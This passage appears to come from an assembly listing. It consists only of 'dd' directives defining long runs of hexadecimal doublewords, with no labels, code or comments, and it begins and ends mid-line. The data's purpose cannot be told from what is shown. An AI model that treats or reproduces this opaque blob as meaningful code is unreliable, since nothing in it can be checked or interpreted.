0D6C09EDDh, 0D7B3CFC0h, 826F134Bh dd 65820233h, 2C802BBCh, 0D7D34789h, 0AE1EC3Ah, 147F52D1h dd 73B63400h, 49582Bh, 0CFF73EFCh, 2E3DBCF9h, 0ED241600h dd 0C73CF521h, 5AAB00A4h, 8B134C33h, 7800EC1Fh, 71CBA84Fh dd 0E402409Fh, 0CA011CB5h, 186EC035h, 77256AEFh, 0B91C930Ch dd 1DD3704Dh, 7D9E44h, 0DF9A9B23h, 62B8464Eh, 0CA5F1F00h dd 724714DCh, 68EE00F1h, 914901C1h, 561EAFF5h, 15403BFAh dd 34834E5h, 7A4B079Ch, 30521EFCh, 8B85B6D1h, 36A77600h dd 562F04DCh, 82E4005Ch, 7108A158h, 0D6001D19h, 0AE1AC9Fh dd 0E31077Ch, 3E4C170Ch, 51412A80h, 8400DD81h, 8765F01Dh dd 0F8E949ECh, 0A4930209h, 0BE76981Eh, 476C7340h, 80F2CC39h dd 5E979CD2h, 74F8EAABh, 0E2A20048h, 79C9E443h, 0A800E77Eh dd 0ECC1FD06h, 0F1764Eh dd 0F64A9ADBh, 0B5635B66h, 619DA800h, 0E0AF6E2Dh, 1BA755Fh dd 0C021EFBDh, 43C8BF98h, 0AA886DFCh, 5272DE1Dh, 0CBE2B000h dd 2470AEF4h, 2876ECCFh, 18E83E9h, 90E3CE11h, 0E0357E1Dh dd 0FB18722Fh, 0CA58BBF9h, 0E50C0C91h, 0D5210342h, 28B96402h dd 0E068F02Ah, 3977E685h, 1380C845h, 719AF5D2h, 17308623h dd 580B8003h, 3CA160FDh, 47F9D31Bh, 443EB898h, 75688C0Eh dd 106A13h, 388FBC89h, 1A5F9E92h, 6A00F5FEh, 32C64C60h dd 3DBCB769h, 3B80E565h, 8EAEC579h, 0BE00A804h, 48C2FC33h dd 7C032FFh, 0BA394BE3h, 2FD51A5h, 806DC0B2h, 6B9FDA1Ch dd 4022F28Fh, 9CA91144h, 8AE30CF6h, 0D4B10845h, 77326177h dd 0C07BF07Fh, 0C5C122h, 6763FA8Bh, 2E1413CDh, 8AAFE300h dd 0FD4F0C3Ah, 657D00BEh, 75CEE802h, 2E0EC2A4h, 40D16C92h dd 0ECD2221Fh, 6B90A09Fh, 0AC500FBDh, 0DBE7937Bh, 34CEAEF9h dd 0D7101E82h, 9E0F8180h, 1F8B24Ah, 12E91D00h, 0A55CF32Ah dd 0F3DBE929h, 0D8180004h, 81D15459h, 2700CADBh, 42875E1Fh dd 1C78E0h, 4DF69C8h, 0A23C1247h, 53108C07h, 805B4AB9h dd 8FF00AA0h, 56BE0F52h, 0C3A019B8h, 0E087CB2Fh, 1068401h dd 3F480CF5h, 0F1F5460h, 0B25CB051h, 0A200FE5Dh, 0E0FFF1ECh dd 1400AFDFh, 5BF5DD6Dh, 6032A539h, 941902BEh, 0E0C57F2h dd 903A6C81h, 0E14E00E3h, 5DD24D9Ch, 7D00860Dh, 2EB70918h dd 0F28AFCh, 0C6487FEEh, 38C72436h, 54FE6107h, 3245A23Ah dd 0E8E1CFC3h, 3BC35AF7h, 1D0089D1h, 0D23A8134h, 720E0E7Bh dd 60651B96h, 862A0340h, 0F213D61h, 0FBA0E880h, 4E0D2D8h dd 0C2693B00h, 0C6FAC78Fh, 0CD3A0316h, 62FD48D4h, 402A86F0h dd 98C0542Ah, 2F96407h, 0BC90CE59h, 0A5E958h, 62CFCDA3h dd 1A508A61h, 1AEFC48h, 0B0AF294Bh, 888E8FA7h, 3D607B68h dd 2B10E7F3h, 26185E00h, 0CD07C49Ch, 0CC480181h, 93AD9F1Dh dd 789E2057h, 8E5EFE00h, 0FF1E8A2Eh, 3F1B00CAh, 6AC405B9h dd 5C0EE45Fh, 0DCE5A2h, 2DCDB039h, 4AE416h, 0D24B1F4Dh dd 3738B41Dh, 535BBF01h, 0B39B0D2Ch, 87EBC4h, 0B56E1362h dd 0A629B293h, 0F6815B00h, 91516B7Bh, 0BBF44Ah, 0DACA4771h dd 2DA0CDE4h, 79BE7A1Fh, 7B1AB907h, 2B80E0F0h, 0DF95005Bh dd 12A14238h, 4F03B89Ch, 0D2DE11BCh, 163CE861h, 252B0003h dd 0F9319AD5h, 0F3005999h, 3335D10Ch, 0B971B2h, 5E04F113h dd 831AACA3h, 0FB99D200h, 0D12E2742h, 6A6C00F6h, 7ACEB751h dd 4B012824h, 9816C1B2h, 0F0E82745h, 47F6D7h, 33A6038Dh dd 6E6FC2CFh, 0F3D60200h, 752E3ACAh, 0B440009Ah, 7A6884B9h dd 7B006116h, 2493FF86h, 0F8B8E2BFh, 0B2F60106h, 0EE91A35Ch dd 0AF80DCD5h, 0B6D4FA00h, 0FF311AD9h, 0FD600012h, 29ED7041h dd 0A300901Ch, 0A2B5912Bh, 0A35E5B7h, 5B085307h, 86F100A8h dd 961FBF1Bh, 9C08201h, 892C3EA5h, 0FCB230h, 0DA25F4FBh dd 7F2DEDE3h, 1C868003h, 80E08833h, 1CDD38F3h, 988B36h dd 0ECF4AFD9h, 180071EDh, 0AC17B8D6h, 1E5761h, 0BD77BEF2h dd 0CF5D0499h, 0C28F0C00h, 8D529E09h, 2AEA0014h, 41A58C65h dd 0A2F849A4h, 4F3BDB00h, 984E1974h, 0E8BD00DAh, 0B6BBBE25h dd 0B007368h, 94F8FDEEh, 5D3407h, 0E43DB85Bh, 7CF39F8Dh dd 60907A00h, 4935B38Eh, 4CAF00CBh, 3E93EE59h, 8900C1D0h dd 76967A0Eh, 8DB8B5h, 2A954F1Ah, 37D83E26h, 0E765AB00h dd 0C0141E72h, 4E53002Eh, 4F75559Bh, 0C90006ACh, 3D674A7Fh dd 0DDCE7Bh, 0B4744E66h, 0A1756527h, 2BBF9C07h, 0CE0AAF8Ch dd 0D1174900h, 0E83FC6C7h, 0A55D037Dh, 3379ECADh, 9D8CCD90h dd 8B09DB09h, 25DB80EEh, 36CA64h, 2DAEC2E0h, 3B68427h dd 0F6331000h, 5B0779C4h, 0D6B50094h, 18E09B9Dh, 0F095705Ah dd 0A16B00F0h, 1308C910h, 4702AFA8h, 0F09E8C2Ah, 0E0506322h dd 0E34E1B48h, 0EECEDF20h, 0E6580FA1h, 3820DAF5h, 0C7118AA7h dd 0DBA66A00h, 2F2064B5h, 5F820074h, 9E19CA89h, 0A013D487h dd 2500F1D9h, 0D02FBC7h, 5E123ECCh, 43351680h, 992B079Dh dd 76F4E009h, 0A0302E5Bh, 10FB7C17h, 24ADE26Ah, 74E8A6h dd 0FCF033D3h, 803AFA02h, 0FB51001Fh, 2E2A5B70h, 776603BCh dd 79ADBB5Fh, 83D78FD1h, 5CC04EA6h, 5D0E9142h, 1BCC70h dd 20B42952h, 7E80716Dh, 0B25E7A00h, 2C41AE8Dh, 146FA4Eh dd 52FECF37h, 0D0D9778Fh, 4300D293h, 1752C3Ch, 0E576C253h dd 63F4D560h, 9C2BB8A2h, 115BA0F0h, 74B9AB58h, 74F6AC0Bh dd 0CDBE80EBh, 710787h, 0EAB13F41h, 85DAF3D1h, 7C30D4Ch dd 4F63CD1Eh, 37E3FB50h, 7A25003Bh, 66789646h, 4E482BE2h dd 0CD57035Bh, 0C53755AEh, 21899807h, 84FA5FC0h, 76AC03FDh dd 38F023D3h, 88F92130h, 0F8ECFAB2h, 0B10CA0FBh, 0E8AE018Ch dd 0C316D250h, 0A944D06Eh, 0B428CDE0h, 0A5008431h, 2DEBE0C1h dd 4A5780h, 792269Ah, 0C95616F6h, 4C5D6A00h, 0F344AF58h dd 0AEC30028h, 0C15111A1h, 0EA7A10BDh, 15630C00h, 4B503C0Ah dd 54910075h, 0FA7B69B1h, 5F0093D9h, 5E183ADFh, 1AB0841h dd 0C734A49Ch, 0E4FE0BAFh, 1A0197C2h, 0F1C12999h, 0E2F0870Eh dd 71E0774Dh, 59650610h, 0D97A6418h, 5175B00h, 254BDAE5h dd 58CF0327h, 59982E5Ch, 30B70CA0h, 0A8A0CCECh, 0E9C0379Ah dd 0EFA90D58h, 9BF20B96h, 4780B5ADh, 0D2CD3034h, 0FBC6200h dd 1D387854h, 0CE81Bh, 989BCF8Ah, 5FDAD249h, 32818460h dd 7FF3A0h, 45DCFFAFh, 1B297E31h, 7A016278h, 0DD6C8B2h dd 0F870CDB8h, 7F540646h, 416EA9C4h, 28F6DF24h, 8940E99Ch dd 0C5AFDE57h, 4E25008Fh, 69A5ED1Eh, 0CF028C98h, 0C902693h dd 23809850h, 0F078ABh, 39D55ABCh, 0DC957319h, 2784C250h dd 0ADEC081Fh, 0C9CF9207h, 9ACD8500h, 78DA1E75h, 0DEFCC774h dd 152B3023h, 13308766h, 0F1D091F8h, 0A7B802F4h, 4DEE37B9h dd 607AD84Bh, 0B07B20Bh, 0C6220125h, 918682BEh, 28D814E4h dd 450F50F0h, 0A1D1E1C3h, 2A305947h, 0C0A3DE30h, 0EBF6C21h dd 8E00555Ah, 0E343FC91h, 6E8C665h, 39156D95h, 4439600Dh dd 8FA49F51h, 8D988907h, 83D32421h, 15B3E0h, 9091205Bh dd 6792F8FCh, 64EA050Eh, 4EFD0089h, 1DE10BF7h, 0CBF62h dd 726D796h, 27726332h, 0D366E500h, 0D85A490Ah, 0F7760113h dd 793BCCCAh, 69AFDC3Fh, 9C0040B0h, 0D6BC88FDh, 0A74C65h dd 0F790D04Fh, 6FFAED56h, 0B04DC0Fh, 0BBEF808Dh, 3A9D2C5h dd 3E3B20FBh, 57982BE9h, 0CE0E06B1h, 2F6C2h, 0E7F8A164h dd 0E09D3BD4h, 4B48EEB0h, 0F5003B2Ch, 0BE5C4FB0h, 853CCAh dd 9822B6EBh, 1D64D66Eh, 0D00050ECh, 0E85AEFA7h, 16B22Dh dd 0BCA02608h, 8DF99FFFh, 14344D00h, 3FB758E1h, 0C7C51C3Ah dd 59AEF4h, 352B9B04h, 4D3F880Ch, 0EAA98FEEh, 9DFE40C6h dd 4281F5h, 0F65411D2h, 99893DEFh, 0A71BB700h, 0D33358D4h dd 256100B9h, 386AB18Fh, 54040140h, 0C5C9C4FEh, 29F23FC0h dd 241F0389h, 13849DE3h, 0DECFD0E7h, 69007633h, 0DC3C2C6Fh dd 0FBA2979h, 0FB88F54Ch, 6254EC60h, 5F018959h, 0E38BFFC9h dd 0E6DCE5D2h, 94910049h, 0B52090F9h, 6000FBF5h, 89282978h dd 0B125675h, 4FC3477Fh, 5C46200h, 0B57C4C36h, 0C2A05700h dd 0E7D8A181h, 0F0472FE8h, 19002656h, 0E9DB8372h, 6058C9F8h dd 4A497180h, 643C538Ah dd 56A987E5h, 45701633h, 3FA50D2h, 0BE937A51h, 7FDCBB0h dd 2090D8F8h, 56D6446Eh, 0D317A00Eh, 0F003D7Dh, 0EDF0BDF1h dd 0F9C4006Ah, 784EE651h, 9CE027AAh, 0BBB1A201h, 0C2B81301h dd 0BD61F1CBh, 1DBDCE8h, 805B93C5h, 0ECFE8FD4h, 3E00B90Ch dd 0DCB3DFCFh, 0EDAFD3h, 6A01ADDh, 0B8993994h, 95640401h dd 8F51A8FBh, 38E581E0h, 0FF003ACBh, 21C093CEh, 0D000B078h dd 51D6FACCh, 0B8539E54h, 0E4F700E2h, 2A2DF267h, 6F00D88Ah dd 20582138h, 0F02230F5h, 0FBFE00D0h, 9EF1959Ch, 5BF256E2h dd 434C1B05h, 6840D132h, 0F7EF6BEDh, 59AF0257h, 4213E0A0h dd 0D9A28848h, 0D1056600h, 76B72BB4h, 4DB6001Fh, 9E9A28CBh dd 6600071Ah, 59345F8Eh, 23FB39Dh, 0A198FCEDh, 4EE0C431h dd 630080F8h, 11E18301h, 14470C1h, 0ABD7AEE2h, 0C4A07ED3h dd 310294F0h, 2BB002A4h, 6DE880FCh, 3A3C85AAh, 0CA04CE42h dd 80EC40C7h, 8B8D189Eh, 0CC0097F8h, 31AA7B3Eh, 16F012h dd 0F8B5F521h, 0FCC06CEAh, 300C7EF4h, 0D046C5EDh, 0D84D03BDh dd 727C386h, 20E2B798h, 0D04C178h, 0F8FD0FCFh, 9C953080h dd 71BA00A3h, 916D15F5h, 6E00F9FFh, 7BBCD2A0h, 0DA9375h dd 4845725Eh, 0A09B628h, 0CF00D7B0h, 0B4BF4BC6h, 3034739h dd 0B8FAE60Dh, 0C09501B7h, 14E5C4C3h, 75A113Eh, 0DAB0F3Ah dd 0C754602Eh, 7CDDD4Bh, 674928DCh, 27AFA085h, 3D0F74B0h dd 8EA46Ch, 246AD3Eh, 15E0007Ch, 7BAE2F0Ch, 0B2001629h dd 2A64D3EAh, 0B775BACh, 0B7A8341Bh, 5994005Dh, 4EDD10h dd 0C195084Dh, 49F2E862h, 7BA17800h, 7748E261h, 0A62F0066h dd 851E5569h, 1A037A12h, 0C7DADCA3h, 0D35FD0F2h, 0D3D09D17h dd 0F6905Ch, 476ED5C6h, 18B2158h, 0D19FE93Bh, 215C0645h dd 7153D948h, 80C30E5h, 0CF3D431Eh, 6271688Fh, 4066C5A7h dd 763A966Fh, 2D551744h, 7BD60017h, 0CC129F9Dh, 0BCAD700h dd 4510C8C6h, 1DC70FC4h, 4FA06E41h, 9CEB19E0h, 0EACD8007h dd 8B60D918h, 2422A5Ch, 284BEDEh, 0ECA06335h, 0E47CD138h dd 2B339F0Bh, 0E4858F75h, 1090773Dh, 0B4E8EFh, 0E5B151ECh dd 6A22453Bh, 19CF4B00h, 0A8AE8FA7h, 8621CE34h, 0FF648D61h dd 5B1080EBh, 0F28740E0h, 83461290h, 61D200C1h, 0AEED4C92h dd 25E3D400h, 0D85E678h, 26F61EA1h, 0FD53009Ch, 1AC0BE6Fh dd 70751726h, 0E2FA980h, 971B695h, 1B59E482h, 96769480h dd 56183FDEh, 8878E135h, 863A0087h, 0F5A66FA2h, 78006A14h dd 0E157A9C3h, 0B3BA56h, 21B04849h, 2A7EF14Bh, 0F6DC7C13h dd 9FCA00ABh, 9205F4E1h, 0F5B05C1Dh, 0FB49DD03h, 0AF77E082h dd 0BA7800A5h, 1127E825h, 0B13AAD2Ch, 6F0E80DBh, 0D0CD0A5Eh dd 15790082h, 1057BDB7h, 0DA0ECE88h, 0E03FA9E9h, 8B453CADh dd 0E318392Dh, 0AE23920Ah, 71350ECDh, 9D13BC80h, 80018B78h dd 0A13F4967h, 0D5D006F1h, 16D90BF7h, 7700E777h, 59F398DCh dd 22117307h, 24D12BB9h, 7046BDh, 6D0300B2h, 0A3E8337Bh dd 16E0CCC6h, 0FC0B8700h, 0B8228FFFh, 115104C3h, 4E6AB063h dd 6D73A01Dh, 0C174E4EDh, 0F379E262h, 0FC22F6h, 0C52B88D3h dd 5619082h, 34A6EBB3h, 9F2C9086h, 8EE2BD96h, 0C16F8507h dd 88E082D4h, 7627208h, 2750F0C0h, 4228E3AEh, 480033CBh dd 537B7C57h, 0A0DD095Ah, 0C3F5F8h, 0C89C2797h, 0ECC9EDB3h dd 1C876326h, 0D4BF6840h, 0F1AC3C8Eh, 437EAD9Dh, 0BAC8AAD8h dd 0F4AEF7C9h, 6F045CA9h, 8BD4A1EBh, 69DC6E80h, 608C6039h dd 0F471BEF8h, 0D2003092h, 3C6697C9h, 1F5E95F3h, 5AB654h dd 6574EC72h, 28DEFB64h, 0A22C4C00h, 18D3003h, 52C9753Bh dd 30F28549h, 0D1005E28h, 0C5A9580Ch, 0D03AFCh, 12E7ED03h dd 69C4DE94h, 535EC900h, 82BC45D3h, 10F50C9Ch, 7D89F7C0h dd 0ED47041Eh, 0CA691C3h, 6B70006Ah, 71B385E0h, 0DA001065h dd 51E2F438h, 1D789179h, 41560944h, 12E57CEDh, 87E0835Bh dd 0E6CE94Fh, 63441140h, 54704280h, 0C7E4958Ch, 0E3E23800h dd 90C5941Eh, 90B73CFh, 753E986Ah, 72B4DA00h, 0A800BF7Dh dd 3955F0E6h, 0F7CAE3h, 54470A34h, 2D12092Bh, 0F3F43E0Fh dd 0AD65E0C2h, 3CE1F86h, 331736BEh, 35C894FDh, 5B00FBA2h dd 0CC62255Dh, 0BFFB7D4h, 0A71E05E7h, 0E200F989h, 777E491Ah dd 61063907h, 7190517Fh, 56BF89h, 0FAF09137h, 6FCC9D30h dd 21DA7201h, 0A73EE201h, 144306F4h, 0A6D52633h, 7181400h dd 0C5B410A9h, 30755103h, 0C00DCB62h, 74B957h, 0FE5E99D2h dd 3879F57Eh, 59C3FD14h, 6E18009Ch, 8DCED081h, 43712EFBh dd 9F7F8024h, 8ED3F167h, 170AA71Fh, 0DCD6690Ah, 658C3780h dd 0FAEB32h, 0B2915ECFh, 0E4437B6Ch, 18F8DC30h, 3F07827h dd 44E65248h, 1DC0D347h, 0F4F18EF6h, 0F138D9C8h, 0EA412h dd 25815830h, 0FEB40085h, 84499BF2h, 717EC83Dh, 510079F0h dd 90F99969h, 3E3C757Fh, 530603A9h, 99E0A4E1h, 0D5734000h dd 80103D68h, 76AE58E6h, 0FADE9B00h, 0E577B6E9h, 0A003C430h dd 18F8B20Dh, 811E0E0Bh, 2D6074A6h, 0D6B1C459h, 36D1034Ah dd 8F5C75E2h, 0F6D1805h, 0FEC5ECh, 0D97E852h, 94A0F509h dd 78F0487Fh, 30AB9248h, 6825D924h, 0C181E855h, 3C27FD91h dd 0E13D10F9h, 0FAEC0F1Eh, 2900BADBh, 3B702091h, 59C4E9C4h dd 7459A36Dh, 0C040898Ah, 1BE1909h, 91957268h, 700769BEh dd 0C0A7F54Eh, 0C4259836h, 3DDC8E39h, 31E88412h, 0C003F82Eh dd 0AF981F50h, 8D33F4B4h, 0F6097Dh, 1F5B6021h, 120CAFDCh dd 0A4A8EAE4h, 65000B7Dh, 0A28F5A76h, 4DD664Eh, 15E68228h dd 9334C0B5h, 0DB30CAF9h, 0C6D5D1EFh, 723F011Ah, 6AE92DC4h dd 8D0892D4h, 0EAB24C0h, 2B3A021Dh, 44B10357h, 0C1F49EE3h dd 84208ED0h, 0DE72FB79h, 0E87FA8D0h, 607532E5h, 7060F2CEh dd 0B899FD30h, 0F1C05800h, 75CE914Dh, 0CC793222h, 0C0800408h dd 0EAC9B8F5h, 0FCFDDCF9h, 0AB68EB60h, 64818F15h, 60135103h dd 7D64EA99h, 70064391h, 0EA18608Ah, 98380061h, 0D95E6C8h dd 0D354E07Dh, 4099BBCh, 0FA2E15h, 0DE363824h, 1771008Bh dd 5FCDEFA1h, 0B50008D2h, 0E5EB6201h, 764E1B51h, 787200B0h dd 0F78AB1B2h, 3F004DFDh, 0AD373629h, 0D199E3h, 0D5867D5Bh dd 8FB61B67h, 2FD70900h, 910FA1D8h, 16F255h, 9DD0F8CEh dd 6C6E294Fh, 7CE20AC0h, 0D5D74Eh, 0EBA0DD5Fh, 4A34737Bh dd 0B7EE2903h, 0E0C68068h, 730349D3h, 90EEA7h, 4344F911h dd 5C0ED0E8h, 5B09CC07h, 0EE3FA801h, 6B498332h, 0BF291195h dd 0D7A11E9h, 0F1085721h, 284B949Ah, 5AD2AE08h, 809D7308h dd 0F6EF3AACh, 29C08744h, 0CF17A1F4h, 0EEE895h, 3C2BECCEh dd 831C9D1h, 9A050607h, 0F880CDDFh, 0B62CDDh, 0B25038FEh dd 0AB600F42h, 590C1D18h, 0F0C910h, 0DB64D471h, 0E650948Ch dd 65CBA007h, 8290BEC0h, 4C7B639Ah, 900151BCh, 5F6B98E7h dd 3873D8D0h, 0B1287F00h, 0FF075362h, 9E760079h, 0A046030Ah dd 7C000530h, 0F55ACDA6h, 75FADFC1h, 9B95004Bh, 2324DE82h dd 19E60D6Ch, 55843Fh, 9C04717Dh, 0F485B51Bh, 610500CAh dd 0C409321Ah, 2F008850h, 8FDB900Ch, 35C6D86h, 3C2EA7EBh dd 80B7B558h, 5DFC07A4h, 6DD13900h, 0E11C70E9h, 0DB7F78h dd 646FD02Fh, 512EB00Eh, 11FE27Bh, 2C06D8Eh, 0FCCB4489h dd 2C9D3E63h, 0B48C3F0Fh dd 0C35071Ch, 0A0D837F5h, 0A7044439h, 0A34FD000h, 944B6E24h dd 0C5AC0192h, 87F83175h, 0FB8080CAh, 1356F210h, 0C76100CEh dd 835B14B9h, 49389E37h, 0A92A01D3h, 0A70875E3h, 0E4EB71E8h dd 0B56C004Fh, 4162AB5Ch, 0F006B210h, 426D13D5h, 0A3EC0078h dd 516C7DC9h, 0BC002377h, 0CC5AF212h, 5C0CB0h, 6830E0A8h dd 0E6C5DDA1h, 0E1B7FB00h, 7993A988h, 0CEEF007Ah, 0CA3995F7h dd 0C80A20C0h, 0F4EB763Ah, 0C6A61700h, 17BA80Fh, 2AC2A7BEh dd 0D0476DC5h, 0BC009AC0h, 378C2514h, 85F17h, 34F0B95Eh dd 7132FE87h, 2C003AF8h, 221AF851h, 8A43DAh, 2D184A6h dd 39EB4677h, 8CB29A00h, 25546E16h, 35370099h, 921E26CCh dd 30005DF9h, 0E67F6AC9h, 245C0Dh, 6657C65Fh, 79A8CB78h dd 0A6F63518h, 83DF09h, 28339382h, 133E1BF0h, 232CA300h dd 857F88BFh, 7C61000Fh, 7B6BC21Ch, 0B703C079h, 8FE875B4h dd 5D27C07Ah, 0CE600DDh, 0D0E29153h, 0DB0CBC84h, 10B97C63h dd 0A4270976h, 900E6AE5h, 9F5CBFA3h, 202149E1h, 1E294094h dd 0B6038C9Eh, 0E806A57Dh, 686DBDh, 203D1B19h, 6450397Ah dd 8E536006h, 2EBA9DD5h, 934BA8h, 73E31D9Bh, 4C76AB96h dd 508B5A00h, 0E47D955Fh, 3C1F0F9Ah, 0BC474215h, 644D5382h dd 0FC983EE9h, 300A086h, 935E3ABh, 1E53138h, 0FB527AC2h dd 248CD0D5h, 6907531Ch, 79627E2Fh, 0CCE121D0h, 0EDCA07A2h dd 804B8ECFh, 93BADC05h, 0DBC2AA00h, 89C847BBh, 24774Ch dd 2D99EB53h, 0F0F31882h, 2C94D82Eh, 2CC1BF00h, 0A9F6Fh dd 0B63B606Dh, 6C93E832h, 9E390E60h, 2445AFh, 0BE03CCDFh dd 694EBAA0h, 2E791F00h, 0D2B0D9D0h, 0F8260078h, 0A2234A8Bh dd 0C500855Ch, 0FF4BA52Bh, 2DEA61Ah, 3AC9531Ch, 1BC02418h dd 0E40014D1h, 9239199Ch, 0BF50E1h, 1C32C4C0h, 4771DA8Ah dd 0A4774F00h, 64DF478h, 519000Ah, 0E72EF6D8h, 7B009B17h dd 2D59E282h, 1D45395h, 4005D021h, 305D3507h, 97001BFCh dd 4E69371Fh, 3C3E1822h, 4B812755h, 17132347h, 8308BAAFh dd 87B3566Ah, 3C888C54h, 23892C6h, 922B5AC3h, 0D58E9536h dd 44F3C2BCh, 7440FD8Fh, 800FE2Dh, 2B425267h, 0ACD6AFh dd 2C959E63h, 1E12749Ch, 0F2357302h, 606EF3E0h, 1335F7Ch dd 9D6461D2h, 4026A3B2h, 1A8FDFC4h, 0C9CBFBA0h, 0D217A90Fh dd 0F291A1A2h, 0EED8B02Dh, 9824000Fh, 5FDEF05Dh, 4E0019D5h dd 0B8C8879Dh, 0A96E26h, 17AF65EAh, 0F522642Dh, 8718CB14h dd 0D1A11E88h, 3E2A7C02h, 0DB42EDh, 0A800DE0h, 93E7009Bh dd 0ABFC8CB3h, 502254Fh, 0FD8FE55h, 0C09C683Ah, 249C7D78h dd 33CCE30h, 79F901F0h, 89A306F0h, 0ECB99226h, 2CFAB80h dd 1F05E21Fh, 83408433h, 9C4EBF7Dh, 15C8BDA3h, 3F1C45E8h dd 8F0408C6h, 30C2CB4Fh, 0EB21C18Ah, 0B03B5F70h, 0B7944890h dd 0D5446600h, 0D81E2FB1h, 0EF2B9500h, 536467BDh, 42850999h dd 0C787DB91h, 0EE9F1093h, 0BD72A1A6h, 5723A8C0h, 30CB06FFh dd 0B1090D6h, 9878D3E2h, 8CC5221Dh, 0B2BE3C40h, 7576EB0h dd 0BDE22E13h, 438DD0DCh, 8F0082C7h, 7E47FA36h, 76F2771h dd 0F528ACE7h, 0C11D6379h, 0E0EA4281h, 10E0368h, 0DF86992Eh dd 0CA012B5Ch, 14C7716Ch, 7FC1A444h, 0D6FC1EF2h, 38EE008Ch dd 5DBF7552h, 0CF00E8BDh, 0ED35C118h, 874083h, 812B0A76h dd 1E29708Dh, 0E8641902h, 605B0334h, 77BF251h, 0FC9B8580h dd 7061E7A4h, 9E0A8A08h, 0ED799107h, 54B0D8ABh, 163273h dd 18EF2FC7h, 3D69C433h, 81039138h, 47197A2Eh, 0D2FCC849h dd 0FAB700CCh, 0C92FBA37h, 0B600C218h, 0B9BF0A2Bh, 0B544FEh dd 40BF73Fh, 5615463Ah, 0A473D0Eh, 411E43A9h, 4328B095h dd 4FD80097h, 7ACEBAF1h, 11071B22h, 0CA21EA40h, 152810C1h dd 23DBD3h, 0D37D3210h, 0BC5317C2h, 0AE5834E0h, 734E8390h dd 880BB0A7h, 0B96C005Dh, 7DFF5295h, 9A01CD09h, 40B2896Fh dd 0E4EC2D4Fh, 77A54828h, 2E5D007Ch, 0D960D4AFh, 6D3B7803h dd 78272CF3h, 0E542003Dh, 2192431Eh, 81A601BEh, 8974B7CFh dd 7DF6C469h, 2F1F3800h, 0B6647E45h, 58820052h, 51FC95B2h dd 1500BC4Fh, 0A1981BE4h, 789F74h, 0CB599CCAh, 0BE13DE35h dd 2504F67Ch, 1267ED32h, 0A03016A1h, 0FE902Ch, 157FDF70h dd 564B973Fh, 64F49200h, 8DE2D55Bh, 0A58400EAh, 469F5449h dd 7F17303Ch, 0C60065C8h, 0E241B8F4h, 55870061h, 8CEC25B9h dd 0B312C3BEh, 680085ADh, 33B588ACh, 670500F9h, 0A3825DC9h dd 69F6E858h, 0DFDA851Fh, 0D82594C0h, 7DB0730Eh, 0F48675C9h dd 65512680h, 305A1967h, 0BE34D003h, 7B71C101h, 87AF4F49h dd 0E2AEC4h, 0BFE32927h, 1ADAEA0Ah, 30344207h, 4C0005C1h dd 398F0640h, 6D9D0338h, 5BA10EE1h, 0D9D1C00h, 5207F841h dd 885A6B46h, 4A559790h, 0B1730Eh, 49F3C083h, 0E5A7C34Eh dd 0C15B5A0Fh, 0C5360648h, 0BB0F00E8h, 0CC73B93Fh, 0EE18B00Ah dd 0E61007CDh, 77FB005Dh, 0B713A9A6h, 0F0C72A8Fh, 0C57099D6h dd 3D19D87Eh, 693F8006h, 0DCE8CC80h, 9809CBEAh, 86D66701h dd 5C260F31h, 85708840h, 0A0AE0055h, 226127C3h, 583E4F48h dd 9F57802Eh, 0D26EB138h, 810B00A6h, 8EEC2246h, 19734B86h dd 0F5007CFAh, 7D4DB9Ah, 2B61A18h, 3115A9A3h, 75C0A625h dd 0AC01C741h, 580F23CCh, 3BF45ABEh, 1A66386Fh, 240DB400h dd 676BB3E6h, 526C614h, 0A19600ACh, 84990E27h, 6D321C10h dd 0BC204049h, 0D71AEA5Fh, 0E3B59F00h, 0F0D84C45h, 67ADB07Dh dd 80C911C2h, 4A5EFEF1h, 7106ED80h, 981C0008h, 16405AB9h dd 7B5017A1h, 560AEBD0h, 98D683F9h, 0C8B33180h, 14ECA910h dd 0C6345C6Ch, 0C0E9241Ch, 0F29CEBE1h, 2307FF4Fh, 0BCEF5D2Bh dd 3FF74A50h, 7190A5h, 2D1B927h, 740F44EBh, 6B5F80Eh, 15C880FFh dd 2CCADBh, 0E1BD050Dh, 350A0F8Ch, 0D8006098h, 3FB19A6Eh dd 0EC193Eh, 2C697986h, 0C0B88BBBh, 0DFA0C81Dh, 0A8374D00h dd 0A28467h, 1A4EB98Eh, 45895E18h, 88F5E6C0h, 0EB7791h dd 0D6C724C4h, 204DE3FDh, 9794B00h, 0F0867A72h, 0F888003Ch dd 0D49DB5B6h, 6D3CF3FAh, 8F45000Eh, 5DA7DE92h, 107000CFh dd 0C652A50h, 0E57FE6B9h, 66687A03h, 0C017C199h, 9111A51h dd 0D98E6CFBh, 8291F300h, 0B9E60E65h, 3DEA5500h, 0DE52FDA1h dd 0D06F00C1h, 96C37B87h, 0C8059372h, 885725D1h, 0BD5A5880h dd 0F142008Bh, 80F531A7h, 5E6A0A2h, 9A736872h, 71309300h dd 74AC63FFh, 0A09C6FCEh, 9591B9A0h, 2E1DCDE5h, 0FB8376A6h dd 208D3E88h, 83009F29h, 2E02BB1Ah, 0E472C8h, 37A2FE89h dd 6B92AA5Fh, 0F00EA7F4h, 0A08C6C0Eh, 1DA4243Bh, 0DF600D5h dd 3BCD4C2h, 88004419h, 2FC6FD9h, 0A8493Ah, 577F82C4h dd 81CC0EEDh, 3E0DAA01h, 302AFA14h, 77858060h, 11D00071h dd 1F9980B8h, 3113AFC4h, 0B120392h, 0A4E15800h, 7EF1CE7h dd 0F6B76C3Bh, 2953806Bh, 6A00A781h, 0D8B4C2DDh, 0A0BDE1h dd 0BB12A852h, 6C143FB6h, 0B20B4900h, 53D7FEC2h, 7BFF779Ah dd 8590F7Ah, 96A10FCEh, 9D4B31CCh, 6940EF28h, 0A4E5C382h dd 0FC714AC0h, 0CFB300EAh, 0D335FA20h, 621D0002h, 0F9D4C126h dd 380016EBh, 0F18CE969h, 39E554h, 0DBB377AEh, 70BF4386h dd 0B2468403h, 80C7992Dh, 3FD424h, 0EFA937FCh, 46A187F4h dd 9A027700h dd 0B03C9DECh, 307B004Fh, 0CEDAA0D6h, 1E00725Bh, 0FEC9F639h dd 0FA7FB2h, 0B584EE8Dh, 0C17CE679h, 68A73C00h, 0D3E8DB1Ch dd 708B0C45h, 5D106C43h, 535E7D00h, 2325A37h, 6BC100B0h dd 62041EBCh, 39008AE1h, 8688D20Dh, 7E3842h, 2F6C5BBFh dd 999330B1h, 0DCACF500h, 19E85FF0h, 469E339Dh, 5AB06928h dd 0D800BE0Ch, 0E86A0EE0h, 2623B826h, 38B0562Ah, 0C7B3500h dd 8671BE18h, 0C33FAD00h, 0C91382F7h, 983950B4h, 7ED83B04h dd 